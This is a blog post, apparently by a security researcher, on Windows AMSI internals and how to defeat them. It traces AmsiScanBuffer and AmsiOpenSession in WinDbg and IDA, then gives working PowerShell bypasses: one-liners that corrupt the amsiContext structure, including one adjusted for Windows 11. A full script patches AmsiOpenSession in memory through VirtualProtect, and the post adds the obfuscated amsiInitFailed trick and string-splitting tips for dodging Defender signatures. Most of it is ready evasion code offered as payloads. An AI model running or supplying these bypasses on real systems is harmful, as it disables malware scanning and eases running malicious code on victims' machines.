← Back to list

AMSI Bypass: Understanding and Evasion Techniques

Introduction

Youssef Achatatal · 2025-03-21 18:04 · 6 claps · 21.7 min read
#amsi #bypass #windows-security #av-evasion
Open on Medium ↗

AMSI Bypass: Understanding and Evasion Techniques

Introduction

This blog marks the beginning of my journey into documenting my research and findings in InfoSec. My goal isn’t necessarily to present groundbreaking discoveries but rather to explore, refine, and improve upon existing techniques. Most of what I discuss here is well-documented, but I aim to build on it and adapt methods to the latest Windows environments.

Motivation

In this article, I want to break down AMSI (Anti-Malware Scan Interface) and its bypass techniques on the latest Windows environment. AMSI bypass is not a new topic, and compared with bypassing EDR, AMSI bypass is much easier. However, I found that one bypass approach taught in OSEP does not work on the latest Windows environment. This piqued my interest, as I wanted to understand what has changed under the hood.

My goal is to modify these and see if I can get them working on more recent versions on Windows. If you’re unfamiliar with AMSI, I suggest reading the official page on Microsoft first. Okay, let’s start.

[embed]Antimalware Scan Interface (AMSI) - Win32 apps The Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to…learn.microsoft.com

Background

On Windows hosts, we can obtain a shell or C2 session by executing an executable file. Additionally, we can achieve the same goal with some scripting languages, such as using a PowerShell IEX download cradle to run scripts in memory without leaving files on disk. Compared to detecting payloads on disk, it is harder for traditional antivirus products to detect such delivery methods. AMSI provides a scanning interface to capture various scripting languages such as PowerShell, JScript, VBA, or C# code at runtime to address this gap.

AMSI stands for “Anti-Malware Scan Interface,” and it targets malicious script-based malware. The following figure illustrates the process of how AMSI works at a high level.

The amsi.dll is integrated into each powershell.exe process, providing functions such as AmsiInitialize, AmsiOpenSession, amsiScanStringand AmsiScanBuffer.

Here we can see all the exported functions that compose AMSI, including AmsiScanBuffer() and AmsiScanString(),However, these two functions are not really different. In fact, AmsiScanString() is a small function which uses AmsiScanBuffer() underneath. This can be seen in WinDBG:

0:009> u amsi!AmsiScanString L18
amsi!AmsiScanString:
00007ff8`51248360 4883ec38        sub     rsp,38h
00007ff8`51248364 4533db          xor     r11d,r11d
00007ff8`51248367 4885d2          test    rdx,rdx
00007ff8`5124836a 743d            je      amsi!AmsiScanString+0x49 (00007ff8`512483a9)
00007ff8`5124836c 4c8b542460      mov     r10,qword ptr [rsp+60h]
00007ff8`51248371 4d85d2          test    r10,r10
00007ff8`51248374 7433            je      amsi!AmsiScanString+0x49 (00007ff8`512483a9)
00007ff8`51248376 4883c8ff        or      rax,0FFFFFFFFFFFFFFFFh
00007ff8`5124837a 48ffc0          inc     rax
00007ff8`5124837d 6644391c42      cmp     word ptr [rdx+rax*2],r11w
00007ff8`51248382 75f6            jne     amsi!AmsiScanString+0x1a (00007ff8`5124837a)
00007ff8`51248384 4803c0          add     rax,rax
00007ff8`51248387 41bbffffffff    mov     r11d,0FFFFFFFFh
00007ff8`5124838d 493bc3          cmp     rax,r11
00007ff8`51248390 7717            ja      amsi!AmsiScanString+0x49 (00007ff8`512483a9)
00007ff8`51248392 4c89542428      mov     qword ptr [rsp+28h],r10
00007ff8`51248397 4c894c2420      mov     qword ptr [rsp+20h],r9
00007ff8`5124839c 4d8bc8          mov     r9,r8
00007ff8`5124839f 448bc0          mov     r8d,eax
00007ff8`512483a2 e8b9feffff      call    amsi!AmsiScanBuffer (00007ff8`51248260)
00007ff8`512483a7 eb05            jmp     amsi!AmsiScanString+0x4e (00007ff8`512483ae)
00007ff8`512483a9 b857000780      mov     eax,80070057h
00007ff8`512483ae 4883c438        add     rsp,38h
00007ff8`512483b2 c3              ret

And with a disassembler:

So, if we can bypass the checks performed by AmsiScanBuffer(), we can also bypass AmsiScanString()!

When a PowerShell script is executed, its content is passed to AmsiScanBuffer for analysis to determine if it is malicious. This process allows applications to request a scan of the content before execution, ensuring that potentially harmful scripts are identified and blocked.

The analyzed information is forwarded to the installed antimalware solution through an interprocess mechanism called Remote Procedure Call (RPC). The antimalware engine scans the content and returns the results to amsi.dll within the PowerShell process. This integration ensures that scripts, including those generated at runtime, are inspected for malicious content before execution

Microsoft has officially documented these functions, allowing us to delve into the intricacies of the capture process. Let’s break down how this process works step by step.

Using WinDbg, launch powershell.exe. Once the process is attached, you'll notice that amsi.dll has not yet been loaded. Set unresolved breakpoints for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer, then continue execution.

The breakpoint at the entry of AmsiInitialize is immediately hit.

The AmsiInitialize function has two arguments:

HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext
);

[embed]Antimalware Scan Interface (AMSI) — Win32 apps The Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to…learn.microsoft.com

The first parameter is the application’s name, and the second is a pointer to a context structure that is populated by the function. This context structure, named amsiContext, is used in every subsequent AMSI-related function. Note that the call to AmsiInitialize occurs before any PowerShell commands are invoked, meaning we cannot influence it. At this point, no script has been executed, and the PowerShell banner has not loaded.

Once AmsiInitialize completes and the context structure is created, the AmsiOpenSession API is called, and breakpoints at the entry of AmsiOpenSession and AmsiScanBuffer are hit, respectively.

Now, the banner is loaded, and we can supply the script.

In summary, though the process of loading AMSI may involve more steps

The AmsiOpenSession function has two arguments:

HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);

[embed]AmsiOpenSession function (amsi.h) — Win32 apps Opens a session within which multiple scan requests can be correlated.learn.microsoft.com

The first argument, amsiContext, is initialized from AmsiInitialize. After execution, amsiSession is initialized and is used in subsequent AMSI API calls within the session.

The AmsiScanBuffer function has six arguments, including previously initialized amsiContext and amsiSession:

HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);

[embed]AmsiScanBuffer function (amsi.h) — Win32 apps Scans a buffer-full of content for malware.learn.microsoft.com

The buffer parameter points to the content to be scanned, and length specifies its size. The contentName is an input identifier, and result is a pointer to a storage buffer for the scan's outcome.

Windows Defender scans the buffer passed to AmsiScanBuffer and returns a result value defined by the AMSI_RESULT enum. A return value of AMSI_RESULT_DETECTED (32767) indicates malware, while AMSI_RESULT_CLEAN (1) indicates a clean scan.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
};

Once the scan is complete, calling AmsiCloseSession will close the current AMSI scanning session. This function is less critical since it occurs after the scan result, and any AMSI bypasses must happen before it is called.

We use WinDbg breakpoints to trace the calls to the exported AMSI functions, allowing us to monitor the input and output. To test this, we’ll enter the command whoami in the PowerShell prompt and set a breakpoint on AmsiScanBuffer to print the parameter values. This setup enables us to observe the following output:

bp amsi!AmsiScanBuffer ".printf \"[*] AmsiScanBuffer() Called\\n\"; .printf \"- amsiContext: 0x%p\\n\", rcx; .printf \"- buffer: %mu\\n\", rdx; .printf \"- length: %d\\n\", r8; .printf \"- contentName: 0x%p\\n\", r9; .printf \"- amsiSession: 0x%p\\n\", qwo(@rsp+0x28); .printf \"- result ptr: 0x%p\\n\", qwo(@rsp+0x30); r @$t0 = qwo(@rsp+0x30); r @$t1 = poi(@rsp); bu @$t1 \".printf \\\"[*] Exit -> Result: %d\\\\n\\\",dwo(@$t0); bc @$t1; g;\"; g;"

Printing arguments and return value from AmsiScanBuffer

Printing arguments and return value from AmsiScanBuffer

After executing the whoami command, we observe that AMSI does not flag this input as malicious, returning a result of 1, which indicates a clean scan.

Next, let’s enter a command in the PowerShell console that Windows Defender will detect as malicious, such as Invoke-Mimikatz:

PS C:\Users\regex-33> 'Invoke-Mimikatz'
At line:1 char:1
+ 'Invoke-Mimikatz'
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

AmsiScanBuffer reporting malicious content

AmsiScanBuffer reporting malicious content

Although the command was benign, it was flagged as malicious nonetheless. There is no doubt that the warning we received in the PowerShell prompt came from Windows Defender, but it is not clear why it was flagged.

If we try to modify the command by splitting the string and concatenating them, it is no longer flagged as malicious:

PS C:\Users\regex-33> 'Invoke-'+'Mimikatz'
Invoke-Mimikatz
PS C:\Users\regex-33>

From this input and output, we can deduce that Windows Defender flagged the Invoke-Mimikatz string as malicious. However, we easily bypassed this simple protection by splitting and concatenating the string. This technique, known as string concatenation, is a common method to bypass AMSI signature detection.

Bypassing AMSI With Reflection in PowerShell

As demonstrated, AMSI passes every PowerShell command through Windows Defender’s signature detection before execution. One way to evade AMSI is to obfuscate and encode PowerShell commands and scripts; however, this approach can lead to an exhausting game of “cat and mouse.” A more straightforward method involves attempting to disable AMSI without crashing PowerShell. This can be achieved using bypass techniques that rely on reflection, allowing interaction with internal types and objects that are otherwise inaccessible.

Reflection-based AMSI bypass techniques exploit the .NET framework’s ability to inspect and modify metadata about types at runtime. By leveraging reflection, it’s possible to access and manipulate private members of classes within the AMSI implementation, effectively disabling its scanning capabilities without altering the AMSI DLL directly.

Attack AmsiOpenSession

Since this context structure is undocumented, we will use WinDbg to locate its address in memory and then inspect its content using WinDbg. As before, we open a PowerShell prompt and trace it with set BreakPoint, as privuse part.

bp amsi!AmsiScanBuffer ".printf \"[*] AmsiScanBuffer() Called\\n\"; .printf \"- amsiContext: 0x%p\\n\", rcx; .printf \"- buffer: %mu\\n\", rdx; .printf \"- length: %d\\n\", r8; .printf \"- contentName: 0x%p\\n\", r9; .printf \"- amsiSession: 0x%p\\n\", qwo(@rsp+0x28); .printf \"- result ptr: 0x%p\\n\", qwo(@rsp+0x30); r @$t0 = qwo(@rsp+0x30); r @$t1 = poi(@rsp); bu @$t1 \".printf \\\"[*] Exit -> Result: %d\\\\n\\\",dwo(@$t0); bc @$t1; g;\"; g;"

Then, we enter another Whoamistring to obtain the address of the context structure:

0:023> g
[*] AmsiScanBuffer() Called
- amsiContext: 0x0000026761e9cc90
- buffer: whoami
- length: 12
- contentName: 0x00000267499d142c
- amsiSession: 0x0000000000004921
- result ptr: 0x000000d8c624ecc0
[*] Exit -> Result: 1

The memory address of amsiContext remains static across scans, allowing easy inspection with WinDbg. Next, we attach to the PowerShell process and dump the memory contents of the context structure:

0:017> dc 0x0000026761e9cc90
00000267`61e9cc90  49534d41 00000000 61ea1ad0 00000267  AMSI.......ag...
00000267`61e9cca0  48236540 00000267 00004922 00000000  @e#Hg..."I......
00000267`61e9ccb0  abababab abababab abababab abababab  ................
00000267`61e9ccc0  00000000 00000000 00000000 00000000  ................
00000267`61e9ccd0  feeefeee feeefeee 5ed6257b 38085103  ........{%.^.Q.8
00000267`61e9cce0  baadf00d baadf00d 61e9cce0 00000267  ...........ag...
00000267`61e9ccf0  00000000 80000000 abababab abababab  ................
00000267`61e9cd00  abababab abababab feeefeee feeefeee  ................

The first four bytes equate to the ASCII representation of “AMSI”, which appears static across processes. To confirm whether these bytes are referenced in AMSI APIs, we disassemble the AmsiOpenSession function using IDA:

graph view of AmsiOpenSession on Windows 10

graph view of AmsiOpenSession on Windows 10

Here, rcx holds the first argument of the function, which corresponds to amsiContext. The cmp instruction checks if the first four bytes match the “AMSI” header. If they don’t match, execution jumps to an exit routine. As long as the first DWORD is not equal to “AMSI”, the execution will jump to the following code block:

loc_18000384C:
mov     eax, 80070057h
retn
AmsiOpenSession endp

EAX is set to 0x80070057, which corresponds to the E_INVALIDARG error. This indicates that the execution of AmsiOpenSessionis unsuccessful, and consequently, all subsequent calls to the AMSI API will fail. The error code 0x80070057 (E_INVALIDARG) suggests that amsiContext is invalid.

If the first four bytes are altered, AmsiOpenSessionwill fail. To test this, we set a breakpoint on AmsiOpenSession, trigger it via PowerShell, modify the bytes, and resume execution.

0:005> bp amsi!AmsiScanBuffer ".printf \"[*] AmsiScanBuffer() Called\\n\"; .printf \"- amsiContext: 0x%p\\n\", rcx; .printf \"- buffer: %mu\\n\", rdx; .printf \"- length: %d\\n\", r8; .printf \"- contentName: 0x%p\\n\", r9; .printf \"- amsiSession: 0x%p\\n\", qwo(@rsp+0x28); .printf \"- result ptr: 0x%p\\n\", qwo(@rsp+0x30); r @$t0 = qwo(@rsp+0x30); r @$t1 = poi(@rsp); bu @$t1 \".printf \\\"[*] Exit -> Result: %d\\\\n\\\",dwo(@$t0); bc @$t1; g;\"; g;"
0:005> bp amsi!AmsiOpenSession
0:005> g
Breakpoint 1 hit
amsi!AmsiOpenSession:
00007ffe`e5e03800 4885d2          test    rdx,rdx
0:017> dc rcx L1
00000196`c2718e00  49534d41                             AMSI
0:017> ed rcx 0
0:017> dc rcx L1
00000196`c2718e00  00000000                             ....
0:017> g
(262c.5dc): CLR exception - code e0434352 (first chance)
(262c.5dc): CLR exception - code e0434352 (first chance)
(262c.5dc): CLR exception - code e0434352 (first chance)
CLR exception type: System.Management.Automation.CommandNotFoundException
    "The term 'Invoke-Mimikatz' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again."
Breakpoint 1 hit
amsi!AmsiOpenSession:
00007ffe`e5e03800 4885d2          test    rdx,rdx

As we can see, the parameters of AmsiScanBuffer are not printed because AmsiOpenSession failed, which prevented AmsiScanBuffer from being called.

By modifying amsiContext, we force AMSI to fail, effectively bypassing its scanning mechanisms. This approach demonstrates a practical AMSI evasion technique by leveraging undocumented memory structures.

While this method works, it requires manual intervention using WinDbg. To make it more practical, let’s explore how to implement the bypass directly in PowerShell using reflection.

PowerShell retains AMSI-related details within the System.Management.Automation.AmsiUtils class, which we can analyze and interact with through reflection techniques.

As mentioned earlier, a crucial aspect of reflection is the GetType method, which allows us to retrieve type information from an assembly. Normally, we would invoke it using System.Management.Automation.PSReference, also known as [Ref]. However, executing the following command:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

results in an error because AMSI and Windows Defender flag it as malicious and prevent execution:

This script contains malicious content and has been blocked by your antivirus software.

Since Defender detects direct references to AmsiUtils, we need to take a different approach. One common method is obfuscating the string by splitting it, such as 'ams' + 'iUtils'. However, Microsoft frequently updates its detection rules, making this method unreliable.

A better alternative is dynamically discovering the class by iterating through all available types and filtering the results:

PS C:\Users\regex-33> $targetClass = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -match "iUtils$"}

or Obfuscated discovery pattern:

PS C:\Users\regex-33> $targetClass = [Ref].Assembly.GetTypes() | Where-Object Name -clike "*iUtils" | Select-Object -First 1
  • Case-sensitive wildcard matching (-clike) evades case-insensitive detection patterns
  • Pipeline termination (-First 1) reduces memory artifacts
  • Property shorthand syntax (Name vs $_.Name) alters command signatures

Enumerating assembly types to find AMSI utilities

Enumerating assembly types to find AMSI utilities

This approach successfully identifies AmsiUtils, providing us with a reference to the class without triggering Defender. With this handle, we can now use the GetFields method to enumerate all its objects and variables, applying NonPublic and Static filters to refine the search.


PS C:\Users\regex-33> $fields = $targetClass.GetFields([System.Reflection.BindingFlags]'NonPublic,Static')
PS C:\Users\regex-33> $contextField = $fields | Where-Object {$_.Name -match "Context$"}
PS C:\Users\regex-33> $contextField

Name                   : amsiContext
MetadataToken          : 67112373
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}
PS C:\Users\regex-33> $contextValue = $contextField.GetValue($null)
PS C:\Users\regex-33> $contextValue
2407110223424
PS C:\Users\regex-33>

The output reveals critical metadata about the amsiContext field while avoiding direct references to restricted terms. The numeric value represents a memory pointer when converted to hexadecimal:

Hexadecimal conversion revealing memory address

Hexadecimal conversion revealing memory address

This matches the expected pointer format (0x23072f32640) seen in memory analysis, and it corresponds to the pointer obtained from the AmsiScanBuffer parameters:

0:006> g
[*] AmsiScanBuffer() Called
- amsiContext: 0x0000023072f32640
- buffer: whoami
- length: 12
- contentName: 0x000002300000142c
- amsiSession: 0x0000000000000ae8
- result ptr: 0x000000614d70ec40
breakpoint 1 redefined
[*] Exit -> Result: 1

We validate this hypothesis by examining the memory contents in WinDbg:

0:010> dc 0x23072f32640
00000230`72f32640  49534d41 00000000 72f14a80 00000230  AMSI.....J.r0...
00000230`72f32650  730f1480 00000230 00000ae9 00000000  ...s0...........
00000230`72f32660  70f7af80 00000230 c6c4220e 90002b00  ...p0...."...+..
00000230`72f32670  000005b8 00000000 00000000 00000000  ................
00000230`72f32680  f670e040 00007ffb 00000000 00000000  @.p.............
00000230`72f32690  00000000 00000000 c6cb2201 94002c00  ........."...,..
00000230`72f326a0  00000000 00000000 00000018 6e656d65  ............emen
00000230`72f326b0  72f19ed0 00000230 00000018 7365722e  ...r0........res

With confirmation of the context buffer’s location, we perform strategic memory modification. Overwriting the initial bytes disrupts the structure’s integrity:

PS C:\Users\regex-33> $memPtr = [IntPtr]$contextValue
PS C:\Users\regex-33> $nullBuffer = [Int32[]]@(0)
PS C:\Users\regex-33> [System.Runtime.InteropServices.Marshal]::Copy($nullBuffer, 0, $memPtr, 1)

Or:

PS C:\Users\regex-33> $memPtr = [IntPtr]$contextValue
PS C:\Users\regex=33> [Runtime.InteropServices.Marshal]::Copy((0..0), 0, $memPtr, 1)

Post-modification verification shows successful alteration of the AMSI context:

0:010> dc 0x23072f32640
00000230`72f32640  49534d41 00000000 72f14a80 00000230  .........J.r0...
00000230`72f32650  730f1480 00000230 00000ae9 00000000  ...s0...........

The disabled detection mechanism becomes evident when testing with previously flagged strings:

Successful bypass verification

Successful bypass verification

This technique can be condensed into an automated payload for operational efficiency:

$targetClass = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -match "iUtils$" };$f = $targetClass.GetFields([System.Reflection.BindingFlags]'NonPublic, Static') | Where-Object { $_.Name -match "Context$" };$x = $f.GetValue($null);[Runtime.InteropServices.Marshal]::Copy((0..0), 0, $x, 1)

However, on Windows 11, the first DWORD is not checked anymore. Fortunately, According to the assemble codes there are still multiple ways to land that code block. The RDX, RCX, the 2nd QWORD, and the 3rd QWORD are compared to 0 respectively. If any of them equals 0, AmsiOpenSession will exit with E_INVALIDARG error.

graph view of AmsiOpenSession on Windows 11

graph view of AmsiOpenSession on Windows 11

the last one-liner payload leverages reflection, it can be used to patch the 1st DWORD to achieve AMSI bypass, now it does not work on Windows 11.

Adjust the payload to patch the 2nd QWORD, and it works on Windows 11.

 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$array = New-Object byte[] 8;[Runtime.InteropServices.Marshal]::Copy($array, 0, $ptr, 8)

We can also disable AmsiOpenSession using a PowerShell script by patching its instructions via binary patching (patching AmsiOpenSession to set RCX as 0) instead of modifying data structures.

Based on the IDA graph, we can force an error by modifying the first few bytes to match the final two instructions. This ensures every call to AmsiOpenSession fails, even with valid arguments.

The function begins with TEST RDX, RDX, followed by a JE (Jump if Equal), which depends on the Zero Flag (ZF). Normally, TEST RDX, RDX sets ZF based on RDX’s value. By replacing it with XOR RAX, RAX, we force ZF to 1, making the CPU take the error path and disabling AMSI.

Since TEST RDX, RDX compiles to 0x4885d2 (3 bytes), we replace it with XOR RAX, RAX (0x4831c0), which maintains memory alignment while achieving the same effect.

we will modifying the first instruction of AmsiOpenSession directly from PowerShell using Win32 APIs. To achieve this, we need to perform three key actions:

  1. Obtain the memory address of AmsiOpenSession.
  2. Modify the memory permissions where AmsiOpenSession resides.
  3. Overwrite the first three bytes at that location.

To resolve the address of AmsiOpenSession, we would typically use GetModuleHandle to obtain the base address of AMSI.DLL, followed by GetProcAddress to retrieve the function's address.

The following LookupFunc method calls both GetModuleHandle and GetProcAddress from the Microsoft.Win32.UnsafeNativeMethods namespace:

function LookupFunc {
    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1] -eq 'System.dll' }
    ).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $tmp = @()
    $assem.GetMethods() | ForEach-Object {
        if ($_.Name -eq "GetProcAddress") { $tmp += $_ }
    }

    return $tmp[0].Invoke($null, @(
        ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)),
        $functionName
    ))
}

This function dynamically resolves function addresses within PowerShell, allowing us to interact with native Win32 APIs without explicitly importing them.

PS C:\WINDOWS\system32> [Convert]::ToString(140704489964032,16)
7ff851248200

With the value converted, we can then unassemble the instructions at that address to check if it is correct:

Now that we have located the address of AmsiOpenSession, our next challenge is modifying its memory protections.

Understanding Memory Protections

In Windows, memory is divided into 0x1000-byte pages, each assigned specific protection settings that define how the data on that page can be accessed.

Typically, executable code pages are set to PAGE_EXECUTE_READ (0x20), meaning the code can be executed and read but not written to. This restriction prevents modifications, which presents a challenge for our attack.

We can check the memory protection settings using the WinDbg !vprot command:

0:009> !vprot 0x7ff851248200
BaseAddress:       00007ff851248000
AllocationBase:    00007ff851240000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000007000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

The Protect value shows that the memory page is set to PAGE_EXECUTE_READ, preventing modifications.

To modify this memory page, we use the Win32 VirtualProtect API, which allows changing memory protection settings.

BOOL VirtualProtect(
    LPVOID lpAddress,    // Address of the memory page  
    SIZE_T dwSize,       // Size of the region to modify  
    DWORD flNewProtect,  // New protection setting  
    PDWORD lpflOldProtect // Pointer to store old protection value  
);
  • lpAddress: Address of the target memory page.
  • dwSize: Size of the region to modify (set to 3 for clarity, but VirtualProtect affects the entire page).
  • flNewProtect: New protection setting, which we set to PAGE_EXECUTE_READWRITE (0x40).
  • lpflOldProtect: A variable to store the previous protection value.

To invoke VirtualProtect from PowerShell, we retrieve its address using LookupFunc and define its delegate type using getDelegateType:

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly(
            (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run
        ).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate])

    $type.
        DefineConstructor(
            'RTSpecialName, HideBySig, Public',
            [System.Reflection.CallingConventions]::Standard,
            $func
        ).
        SetImplementationFlags('Runtime, Managed')

    $type.
        DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0

# Define VirtualProtect delegate (corrected parameter types)
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll VirtualProtect),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType())))

# Change memory protection to PAGE_EXECUTE_READWRITE (0x40)
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
  • Uses LookupFunc to find the address of AmsiOpenSession.
  • Defines the VirtualProtect function in PowerShell using getDelegateType.
  • Invokes VirtualProtect to change memory protection to PAGE_EXECUTE_READWRITE.
0:006> !vprot 0x7ff851248200
BaseAddress:       00007ff851248000
AllocationBase:    00007ff851240000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              01000000  MEM_IMAGE

After execution, the new protection setting is PAGE_EXECUTE_WRITECOPY instead of PAGE_EXECUTE_READW. This happens because Windows shares AMSI.DLL between multiple processes. PAGE_EXECUTE_WRITECOPY is functionally the same as PAGE_EXECUTE_READWRITE, but it ensures the modified memory page is private to the current process.

With AmsiOpenSession located and its memory protections modified, we can now overwrite the required three bytes to disable AMSI.

We use the Copy method from the System.Runtime.InteropServices.Marshal namespace to copy the XOR RAX, RAX instruction (0x48, 0x31, 0xC0) into the function’s memory:

$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)

This modification ensures that AMSI always returns a success status, effectively bypassing it.

To avoid detection, we restore the original memory protection using VirtualProtect, passing the previously stored value (0x20 for PAGE_EXECUTE_READ):

$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)

Since we already resolved VirtualProtect earlier, we reuse the $vp delegate without resolving it again.

After execution, we can verify the patch in WinDbg by disassembling the function:

0:011> u 0x7ff851248200
amsi!AmsiOpenSession:
00007ff8`51248200 4831c0          xor     rax,rax
00007ff8`51248203 743f            je      amsi!AmsiOpenSession+0x44 (00007ff8`51248244)
00007ff8`51248205 4885c9          test    rcx,rcx
00007ff8`51248208 743a            je      amsi!AmsiOpenSession+0x44 (00007ff8`51248244)
00007ff8`5124820a 4883790800      cmp     qword ptr [rcx+8],0

The modified instruction (xor rax, rax) confirms that AMSI is disabled.

Additionally, checking the memory protection settings again:

0:009> !vprot 0x7ff851248200
BaseAddress:       00007ff851248000
AllocationBase:    00007ff851240000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000007000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

The original protection is restored, reducing the likelihood of detection.

As a final test, we will enter the ‘Invoke-Mimikatz’ string, which would normally trigger AMSI:

Very nice. The bypass indeed works and AMSI is disabled. We can now execute arbitrary malicious PowerShell code.

full Script:

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly(
            (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run
        ).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate])

    $type.
        DefineConstructor(
            'RTSpecialName, HideBySig, Public',
            [System.Reflection.CallingConventions]::Standard,
            $func
        ).
        SetImplementationFlags('Runtime, Managed')

    $type.
        DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0

# Define VirtualProtect delegate (corrected parameter types)
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll VirtualProtect),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType())))

# Change memory protection to PAGE_EXECUTE_READWRITE (0x40)
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)

Attack on AmsiInitialize

Since AmsiInitializeis called before we can supply scripts, we cannot directly patch the instruction. However, we can patch the structure pointed to by amsiContext, which is initialized after the execution of AmsiInitialize. Looking up the term ‘AMSI bypass’ online, you’ll quickly come across a tweet by Matt Graeber from 2016, containing what is often referred to as the first publicly known bypass for AMSI. This technique still works today, although antivirus solutions have started blocking it in PowerShell. Nevertheless, it can be adapted with minimal changes and still bypasses AMSI.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)

